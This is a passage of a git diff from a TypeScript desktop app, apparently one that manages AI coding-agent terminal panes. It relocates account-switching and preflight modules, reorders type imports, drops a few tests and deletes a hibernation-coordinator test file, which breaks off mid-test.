+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
+import type * as localPreflightContext from '@/runtime/hosts/preflight/local-preflight-context'
 
 let projectRuntimeContext: ProjectExecutionRuntimeResolution | undefined
 
 vi.mock('@/lib/agent-session/resume/agent-resume-launch-target', { spy: true })
 
-vi.mock('@/lib/local-preflight-context', async (importOriginal) => ({
+vi.mock('@/runtime/hosts/preflight/local-preflight-context', async (importOriginal) => ({
   ...(await importOriginal<typeof localPreflightContext>()),
   getLocalProjectExecutionRuntimeContext: () => projectRuntimeContext
 }))
diff --git a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.ts b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.ts
index 07d4ae894b7..3ade2d2e779 100644
--- a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.ts
+++ b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.ts
@@ -1,30 +1,30 @@
 import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import { buildAgentResumeStartupPlan } from '../../../../../shared/agent-launch/startup/tui-agent-resume-startup'
 import {
   resolveRuntimeHostReportedPlatform,
   resolveRuntimeHostTerminalWindowsShell,
   resolveSshHostReportedPlatform,
-  resolveAgentResumeLaunchTarget,
-  type AgentResumeLaunchTarget
+  resolveAgentResumeLaunchTarget
 } from '@/lib/agent-session/resume/agent-resume-launch-target'
+import type { AgentResumeLaunchTarget } from '@/lib/agent-session/resume/agent-resume-launch-target'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeEnvironmentIdUnlessTwin } from '@/lib/workspace/ownership/resolve-owner'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { repoMatchesHostIdentity } from '@/store/repos/repo-host-identity'
 import { isSessionHeldByAnotherPane } from '@/lib/agent-session/identity/claude-session-pane-holders'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
-import {
-  normalizeAgentProviderSession,
-  type AgentProviderSessionMetadata,
-  type SleepingAgentLaunchConfig
+import { normalizeAgentProviderSession } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import type {
+  AgentProviderSessionMetadata,
+  SleepingAgentLaunchConfig
 } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import { resolveResumeLaunchRecipe } from '../../../../../shared/agent-launch/choices/resume-launch-recipe'
-import type { AccountRestartAgent } from '@/store/terminals/terminal-contracts'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
 import { resolveAgentLaunchCommand } from '../../../../../shared/agent-launch/startup/tui-agent-launch-command'
 import { resolveStartupShell } from '../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
+import type { AppState } from '@/store/types'
+import type { AccountRestartAgent } from '@/store/terminals/terminal-contracts'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
 
 export type AgentAccountRestartStartup = {
   command: string
diff --git a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts
index d5373f10d71..0fd54873569 100644
--- a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts
+++ b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts
@@ -1,13 +1,7 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { useAppStore } from '@/store/index'
-import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
 import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id'
-import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
-import type { ClaudeManagedAccount } from '../../../../../../shared/managed-account-types'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../../shared/execution-host/project-execution-runtime'
 import { getDefaultSettings } from '../../../../../../shared/constants'
-import type * as localPreflightContext from '@/lib/local-preflight-context'
-import type * as paneSelectionLane from '../../../codex-pane-selection-lane'
 import {
   confirmRuntimeTerminalForegroundProcess,
   inspectRuntimeTerminalProcess
@@ -16,6 +10,12 @@ import {
   findClaudeSwitchSessions,
   findQueuedClaudeRestartsOnAccount
 } from './claude-session-account-move'
+import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
+import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
+import type { ClaudeManagedAccount } from '../../../../../../shared/managed-account-types'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../../shared/execution-host/project-execution-runtime'
+import type * as localPreflightContext from '@/runtime/hosts/preflight/local-preflight-context'
+import type * as paneSelectionLane from '../codex-pane-selection-lane'
 import type { ClaudeHostFolders } from './claude-pane-account-folder'
 
 const laneByPtyId: Record<string, string> = {}
@@ -28,11 +28,11 @@ vi.mock('@/runtime/hosted-terminals/inspection/runtime-terminal-process-inspecti
 vi.mock('../../../../app-shell/platform/renderer-app-platform', () => ({
   getRendererAppPlatform: () => 'win32'
 }))
-vi.mock('@/lib/local-preflight-context', async (importOriginal) => ({
+vi.mock('@/runtime/hosts/preflight/local-preflight-context', async (importOriginal) => ({
   ...(await importOriginal<typeof localPreflightContext>()),
   getLocalProjectExecutionRuntimeContext: () => projectRuntime
 }))
-vi.mock('../../../codex-pane-selection-lane', async (importOriginal) => ({
+vi.mock('../codex-pane-selection-lane', async (importOriginal) => ({
   ...(await importOriginal<typeof paneSelectionLane>()),
   resolveCodexPaneSelectionLane: ({ ptyId }: { ptyId: string }) => ({
     laneKey: laneByPtyId[ptyId] ?? 'host',
diff --git a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.ts b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.ts
index da1a04cecd7..6077967ee0b 100644
--- a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.ts
+++ b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.ts
@@ -2,12 +2,10 @@
 
 /** Find sessions affected by account selection; resume preserves the session while launch reads the newly selected account folder. */
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import {
   confirmRuntimeTerminalForegroundProcess,
   inspectRuntimeTerminalProcess
 } from '@/runtime/hosted-terminals/inspection/runtime-terminal-process-inspection'
-
 import {
   isAgentForegroundWrapperProcess,
   recognizeAgentProcess
@@ -17,35 +15,31 @@ import {
   isTerminalLeafId,
   makePaneKey
 } from '../../../../../../shared/workspace-layout/stable-pane-id'
-import {
-  type TerminalProcessInspection as RuntimeTerminalProcessInspection,
-  isClientOnlyUnverifiableInspection
-} from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
+import { isClientOnlyUnverifiableInspection } from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
+import type { TerminalProcessInspection as RuntimeTerminalProcessInspection } from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
 import {
   getCodexSelectionLaneKey,
-  normalizeCodexAccountSelectionTarget,
-  type CodexAccountSelectionTarget
+  normalizeCodexAccountSelectionTarget
 } from '../../../../../../shared/codex-selection-lane'
+import type { CodexAccountSelectionTarget } from '../../../../../../shared/codex-selection-lane'
+import { resolvePaneAgentSessionId } from '@/lib/agent-session/identity/pane-agent-session-id'
+import { resolveAgentAccountRestartResumeStartup } from '../agent-account-restart-startup'
+import { isSessionHeldByAnotherPane } from '../../identity/claude-session-pane-holders'
+import { isClaudePaneOnAccount, resolveClaudePaneFolder } from './claude-pane-account-folder'
+import type { ClaudeHostFolders } from './claude-pane-account-folder'
+import {
+  getCodexAccountSwitchLaneMatcher,
+  isForeignMachineCodexPtyId,
+  isLocalCodexSelectionLaneKey,
+  resolveCodexPaneSelectionLane
+} from '../codex-pane-selection-lane'
+import type { AppState } from '@/store/types'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type {
   ClaudeManagedAccount,
   ClaudeRateLimitAccountsState
 } from '../../../../../../shared/managed-account-types'
 import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types'
-import { resolvePaneAgentSessionId } from '@/lib/agent-session/identity/pane-agent-session-id'
-import { resolveAgentAccountRestartResumeStartup } from '../agent-account-restart-startup'
-import { isSessionHeldByAnotherPane } from '../../identity/claude-session-pane-holders'
-import {
-  isClaudePaneOnAccount,
-  resolveClaudePaneFolder,
-  type ClaudeHostFolders
-} from './claude-pane-account-folder'
-import {
-  getCodexAccountSwitchLaneMatcher,
-  isForeignMachineCodexPtyId,
-  isLocalCodexSelectionLaneKey,
-  resolveCodexPaneSelectionLane
-} from '../../../codex-pane-selection-lane'
 
 export type ClaudeSessionMoveCandidate = {
   ptyId: string
diff --git a/src/renderer/src/lib/codex-pane-selection-lane.test.ts b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.test.ts
similarity index 100%
rename from src/renderer/src/lib/codex-pane-selection-lane.test.ts
rename to src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.test.ts
index ebb32d5b9c3..457e32a4f4c 100644
--- a/src/renderer/src/lib/codex-pane-selection-lane.test.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.test.ts
@@ -1,10 +1,10 @@
 import { describe, expect, it } from 'vitest'
-import type { AppState } from '@/store/types'
 import {
   getCodexAccountSwitchLaneMatcher,
   resolveCodexPaneSelectionLane,
   resolveCodexPaneSelectionLaneKey
 } from './codex-pane-selection-lane'
+import type { AppState } from '@/store/types'
 
 type LaneState = Pick<
   AppState,
diff --git a/src/renderer/src/lib/codex-pane-selection-lane.ts b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts
similarity index 86%
rename from src/renderer/src/lib/codex-pane-selection-lane.ts
rename to src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts
index cf2c173b2b5..08752277052 100644
--- a/src/renderer/src/lib/codex-pane-selection-lane.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts
@@ -1,33 +1,33 @@
-import type { AppState } from '@/store/types'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import { parseRemoteRuntimePtyId } from '../../../shared/remote-runtime/remote-runtime-pty-id'
+import { parseRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import {
   getCodexSelectionLaneKey,
-  normalizeCodexAccountSelectionTarget,
-  type CodexAccountSelectionTarget
-} from '../../../shared/codex-selection-lane'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
+  normalizeCodexAccountSelectionTarget
+} from '../../../../../shared/codex-selection-lane'
+import type { CodexAccountSelectionTarget } from '../../../../../shared/codex-selection-lane'
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
 import {
   isWslShellName,
-  resolveLocalWindowsTerminalRuntimeOptions,
-  type LocalWindowsTerminalRuntimeOptions
-} from '../../../shared/local-windows-terminal-runtime'
-import { parseAppSshPtyId } from '../../../shared/ssh-pty-id'
-import { resolveTerminalStartupCwd } from '../../../shared/shell/launch/terminal-startup-cwd'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import { parseWorkspaceKey } from '../../../shared/workspace-scope'
-import { parseWslUncPath } from '../../../shared/wsl-paths'
-import { getLocalProjectExecutionRuntimeContext } from './local-preflight-context'
-import { getRendererAppPlatform } from '../app-shell/platform/renderer-app-platform'
-import { wslHostDistroForTarget } from '../runtime/provider-accounts/ownership/wsl-host-account-owner'
+  resolveLocalWindowsTerminalRuntimeOptions
+} from '../../../../../shared/local-windows-terminal-runtime'
+import type { LocalWindowsTerminalRuntimeOptions } from '../../../../../shared/local-windows-terminal-runtime'
+import { parseAppSshPtyId } from '../../../../../shared/ssh-pty-id'
+import { resolveTerminalStartupCwd } from '../../../../../shared/shell/launch/terminal-startup-cwd'
+import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
+import { parseWslUncPath } from '../../../../../shared/wsl-paths'
+import { getLocalProjectExecutionRuntimeContext } from '../../../runtime/hosts/preflight/local-preflight-context'
+import { getRendererAppPlatform } from '../../../app-shell/platform/renderer-app-platform'
+import { wslHostDistroForTarget } from '../../../runtime/provider-accounts/ownership/wsl-host-account-owner'
 import {
   getCachedWindowsTerminalCapabilities,
   hasCachedWindowsTerminalCapabilities
-} from '../runtime/hosts/capabilities/windows-terminal-capabilities'
+} from '../../../runtime/hosts/capabilities/windows-terminal-capabilities'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
 
 type CodexPaneLaneState = Pick<
   AppState,
diff --git a/src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart.ts b/src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart.ts
index a06fdfbb48b..c7bec73a456 100644
--- a/src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart.ts
@@ -1,10 +1,8 @@
-import type { AppState } from '@/store/types'
 import { useAppStore } from '@/store/index'
 import {
   confirmRuntimeTerminalForegroundProcess,
   inspectRuntimeTerminalProcess
 } from '@/runtime/hosted-terminals/inspection/runtime-terminal-process-inspection'
-
 import { translate } from '@/i18n/i18n'
 import {
   getCodexAccountDisplayLabel,
@@ -15,16 +13,15 @@ import {
   isCodexForegroundProcess,
   isCodexRestartEligiblePane
 } from './codex-pane-restart-eligibility'
-import {
-  type TerminalProcessInspection as RuntimeTerminalProcessInspection,
-  isClientOnlyUnverifiableInspection
-} from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
+import { isClientOnlyUnverifiableInspection } from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
+import type { TerminalProcessInspection as RuntimeTerminalProcessInspection } from '../../../../../../shared/terminal/pty/lifecycle/terminal-process-inspection'
 import {
   getCodexAccountSwitchLaneMatcher,
   isForeignMachineCodexPtyId,
   isLocalCodexSelectionLaneKey,
   resolveCodexPaneSelectionLane
-} from '../../../codex-pane-selection-lane'
+} from '../codex-pane-selection-lane'
+import type { AppState } from '@/store/types'
 import type { CodexAccountSelectionTarget } from '../../../../../../shared/codex-selection-lane'
 import type { RuntimeClientTarget } from '../../../../../../shared/runtime-client-target'
 import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
diff --git a/src/renderer/src/lib/codex-stale-pane-account-identity.test.ts b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-account-identity.test.ts
similarity index 76%
rename from src/renderer/src/lib/codex-stale-pane-account-identity.test.ts
rename to src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-account-identity.test.ts
index 08d6bff31f6..de9fd19d453 100644
--- a/src/renderer/src/lib/codex-stale-pane-account-identity.test.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-account-identity.test.ts
@@ -1,7 +1,7 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
-import { markRestoredStaleCodexSessionsForRestart } from './agent-session/accounts/codex/codex-session-restart'
+import { useAppStore } from '@/store/index'
+import { clearRuntimeCompatibilityCache } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
+import { markRestoredStaleCodexSessionsForRestart } from './codex-session-restart'
 
 // One login can produce separate ChatGPT-workspace accounts with the same email label.
 const SHARED_EMAIL = 'shared@example.com'
@@ -23,7 +23,7 @@ describe('stale Codex panes are decided by account id, not label', () => {
   const originalWindow = (globalThis as { window?: typeof window }).window
 
   beforeEach(() => {
-    clearRuntimeCompatibilityCacheForTests()
+    clearRuntimeCompatibilityCache()
     useAppStore.setState({
       settings: null as never,
       tabsByWorktree: {
@@ -78,22 +78,6 @@ describe('stale Codex panes are decided by account id, not label', () => {
     }
   })
 
-  it('distinguishes same-email accounts even without workspace names', async () => {
-    vi.mocked(window.api.codexAccounts.listStalePanes).mockResolvedValue([
-      { ptyId: 'pty-1', launchAccountId: 'account-a', activeAccountId: 'account-b' }
-    ])
-
-    const scans = await markRestoredStaleCodexSessionsForRestart()
-
-    expect(noticeFor('pty-1')).toMatchObject({
-      previousAccountLabel: `${SHARED_EMAIL} (account-a)`,
-      nextAccountLabel: `${SHARED_EMAIL} (account-b)`,
-      previousAccountId: 'account-a',
-      nextAccountId: 'account-b'
-    })
-    expect(scans.find((scan) => scan.ptyId === 'pty-1')?.notified).toBe(true)
-  })
-
   it('does not report notified for a pane whose notice the store dropped', async () => {
     // The existing notice remembers account-b as launch account, so re-marking against active account-b collapses it.
     useAppStore.setState({
diff --git a/src/renderer/src/lib/codex-stale-pane-sweep.test.ts b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.test.ts
similarity index 86%
rename from src/renderer/src/lib/codex-stale-pane-sweep.test.ts
rename to src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.test.ts
index e57730bdf7f..e54d59f5d3a 100644
--- a/src/renderer/src/lib/codex-stale-pane-sweep.test.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.test.ts
@@ -1,9 +1,9 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   notifyCodexPaneBoundForStaleSweep,
   resetCodexStalePaneSweepForTests
-} from './agent-session/accounts/codex/codex-stale-pane-sweep'
+} from './codex-stale-pane-sweep'
 
 const ACCOUNT_A = 'account-a@example.com'
 const ACCOUNT_B = 'account-b@example.com'
@@ -14,10 +14,6 @@ const STALE_PANE = {
   activeAccountId: 'account-b'
 }
 
-function inspectCallCountFor(ptyId: string): number {
-  return vi.mocked(window.api.pty.inspectProcess).mock.calls.filter(([id]) => id === ptyId).length
-}
-
 describe('notifyCodexPaneBoundForStaleSweep', () => {
   const originalWindow = (globalThis as { window?: typeof window }).window
 
@@ -199,24 +195,4 @@ describe('notifyCodexPaneBoundForStaleSweep', () => {
       nextAccountId: 'account-b'
     })
   })
-
-  it('still sweeps the local panes bound alongside a remote one', async () => {
-    useAppStore.setState({ ptyIdsByTabId: { 'tab-1': ['pty-1', 'remote:env-1@@term-1'] } })
-    vi.mocked(window.api.codexAccounts.listStalePanes).mockResolvedValue([STALE_PANE])
-
-    notifyCodexPaneBoundForStaleSweep('remote:env-1@@term-1')
-    notifyCodexPaneBoundForStaleSweep('pty-1')
-    await vi.advanceTimersByTimeAsync(300)
-
-    expect(window.api.codexAccounts.listStalePanes).toHaveBeenCalledExactlyOnceWith({
-      ptyIds: ['pty-1']
-    })
-    expect(inspectCallCountFor('remote:env-1@@term-1')).toBe(0)
-    expect(useAppStore.getState().codexRestartNoticeByPtyId['pty-1']).toEqual({
-      previousAccountLabel: ACCOUNT_A,
-      nextAccountLabel: ACCOUNT_B,
-      previousAccountId: 'account-a',
-      nextAccountId: 'account-b'
-    })
-  })
 })
diff --git a/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.ts b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.ts
index f75695e6c9f..21679aa8991 100644
--- a/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.ts
+++ b/src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.ts
@@ -1,8 +1,6 @@
-import {
-  markRestoredStaleCodexSessionsForRestart,
-  type CodexPaneScanResult
-} from './codex-session-restart'
-import { isForeignMachineCodexPtyId } from '../../../codex-pane-selection-lane'
+import { markRestoredStaleCodexSessionsForRestart } from './codex-session-restart'
+import type { CodexPaneScanResult } from './codex-session-restart'
+import { isForeignMachineCodexPtyId } from '../codex-pane-selection-lane'
 
 // Coalesce startup binds, then retry reattach beyond the measured 5.8s Windows tail; keep retries bounded so unresolved panes cannot become polling loops.
 const SWEEP_ATTEMPT_DELAYS_MS = [300, 1500, 4000, 10_000, 20_000] as const
diff --git a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts
deleted file mode 100644
index 983cfe354e3..00000000000
--- a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts
+++ /dev/null
@@ -1,734 +0,0 @@
-import { tmpdir } from 'node:os'
-import { join } from 'node:path'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import { DEFAULT_AGENT_HIBERNATION_IDLE_MS } from './agent-hibernation-planner'
-import {
-  runAgentHibernationTick,
-  startAgentHibernationCoordinator
-} from './agent-hibernation-coordinator'
-import { setDriverForPty } from '../../pane-manager/mobile-driver-state'
-import {
-  registerVisibleTerminalTab,
-  setForegroundTerminalTabIds
-} from '../../../components/terminal-pane/parking/retention/foreground-terminal-tabs'
-import { recordAgentHibernationPaneOutput } from './agent-hibernation-output-activity'
-import { createCompatibleRuntimeStatusResponseIfNeeded } from '../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import {
-  deferred,
-  entry,
-  installEligibleState,
-  installRuntimeListResponses,
-  layout,
-  LEAF,
-  mockGetTerminalAttention,
-  mockRuntimeEnvironmentCall,
-  NOW,
-  resetAgentHibernationCoordinatorFixture,
-  runtimeListResult,
-  tab
-} from './agent-hibernation-coordinator-test-fixture'
-
-const PI_TRANSCRIPT_PATH = join(tmpdir(), 'pi-session-1.jsonl')
-
-afterEach(resetAgentHibernationCoordinatorFixture)
-
-describe('agent sleep coordinator', () => {
-  it('hibernates completed Pi after the periodic recovery capture', async () => {
-    vi.useFakeTimers()
-    const piEntry = {
-      ...entry(),
-      agentType: 'pi' as const,
-      providerSession: {
-        key: 'session_id' as const,
-        id: 'pi-session-1',
-        transcriptPath: PI_TRANSCRIPT_PATH
-      }
-    }
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      agentStatusByPaneKey: { [piEntry.paneKey]: piEntry },
-      sleepingAgentSessionsByPaneKey: {
-        [piEntry.paneKey]: {
-          paneKey: piEntry.paneKey,
-          tabId: piEntry.tabId,
-          worktreeId: piEntry.worktreeId!,
-          agent: 'pi',
-          providerSession: piEntry.providerSession,
-          prompt: '',
-          state: 'working',
-          capturedAt: piEntry.updatedAt,
-          updatedAt: piEntry.updatedAt,
-          origin: 'live'
-        }
-      }
-    })
-
-    const liveRecord = useAppStore.getState().sleepingAgentSessionsByPaneKey[piEntry.paneKey]
-    useAppStore.getState().captureAllSleepingAgentSessions('periodic')
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[piEntry.paneKey]).toBe(liveRecord)
-
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-    await vi.advanceTimersByTimeAsync(1000)
-    expect(shutdown).not.toHaveBeenCalled()
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).toHaveBeenCalledWith('wt-bg', {
-      paneKey: piEntry.paneKey,
-      tabId: 'tab-1',
-      leafId: LEAF,
-      ptyId: 'pty-1'
-    })
-  })
-
-  it('revalidates fresh state before shutdown', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    // Returning to the tab must invalidate confirmation; the active worktree is no longer excluded wholesale.
-    setForegroundTerminalTabIds(['tab-1'])
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('does not hibernate a visible mounted terminal tab', async () => {
-    vi.useFakeTimers()
-    vi.setSystemTime(NOW)
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    const unregister = registerVisibleTerminalTab('tab-1')
-
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    vi.setSystemTime(NOW + 1_000)
-    unregister()
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    vi.setSystemTime(NOW + 1_000 + DEFAULT_AGENT_HIBERNATION_IDLE_MS + 1)
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    await runAgentHibernationTick()
-    await Promise.resolve()
-    await Promise.resolve()
-    expect(shutdown).toHaveBeenCalledWith('wt-bg', {
-      paneKey: `tab-1:${LEAF}`,
-      tabId: 'tab-1',
-      leafId: LEAF,
-      ptyId: 'pty-1'
-    })
-  })
-
-  it('requires the same candidate signature during final revalidation', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    let nowCalls = 0
-    startAgentHibernationCoordinator({
-      intervalMs: 1000,
-      now: () => {
-        nowCalls += 1
-        if (nowCalls === 3) {
-          const e = entry()
-          useAppStore.setState({
-            agentStatusByPaneKey: {
-              [e.paneKey]: {
-                ...e,
-                providerSession: { key: 'session_id', id: 'session-2' }
-              }
-            }
-          })
-        }
-        return NOW
-      }
-    })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('rechecks dispatch settlement before shutdown', async () => {
-    vi.useFakeTimers()
-    const completed = {
-      ...entry(),
-      orchestration: {
-        taskId: 'task-1',
-        dispatchId: 'ctx-1',
-        dispatchStatus: 'completed' as const
-      }
-    }
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      agentStatusByPaneKey: { [completed.paneKey]: completed }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    useAppStore.setState({
-      agentStatusByPaneKey: {
-        [completed.paneKey]: {
-          ...completed,
-          orchestration: { ...completed.orchestration, dispatchStatus: 'dispatched' }
-        }
-      }
-    })
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('restarts confirmation when a foreground terminal visit refreshes idle state', async () => {
-    vi.useFakeTimers()
-    vi.setSystemTime(NOW)
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    vi.setSystemTime(NOW + 1_999)
-    setForegroundTerminalTabIds(['tab-1'])
-    vi.setSystemTime(NOW + 2_000)
-    setForegroundTerminalTabIds([])
-
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    vi.setSystemTime(NOW + 2_000 + DEFAULT_AGENT_HIBERNATION_IDLE_MS + 1)
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-
-    await runAgentHibernationTick()
-    await Promise.resolve()
-    await Promise.resolve()
-    expect(shutdown).toHaveBeenCalledWith('wt-bg', {
-      paneKey: `tab-1:${LEAF}`,
-      tabId: 'tab-1',
-      leafId: LEAF,
-      ptyId: 'pty-1'
-    })
-  })
-
-  it('blocks shutdown when terminal input arrives between confirmation ticks', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    useAppStore.getState().recordTerminalInput(`tab-1:${LEAF}`, NOW)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('blocks shutdown when terminal output arrives between confirmation ticks', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    recordAgentHibernationPaneOutput(`tab-1:${LEAF}`)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('does not mutate the running coordinator clock on a second start', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-    startAgentHibernationCoordinator({
-      intervalMs: 1000,
-      now: () => NOW - DEFAULT_AGENT_HIBERNATION_IDLE_MS + 1
-    })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).toHaveBeenCalled()
-  })
-
-  it('does not hibernate a mobile-driven terminal', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    setDriverForPty('pty-1', { kind: 'mobile', clientId: 'phone-1' })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(3000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('keeps a tab a paired client is showing, and sleeps it once the client hides it (#36427)', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    let shownRemotely = true
-    mockGetTerminalAttention.mockImplementation(async (ids) =>
-      Object.fromEntries(ids.map((id) => [id, { shownRemotely, lastInputAt: null }]))
-    )
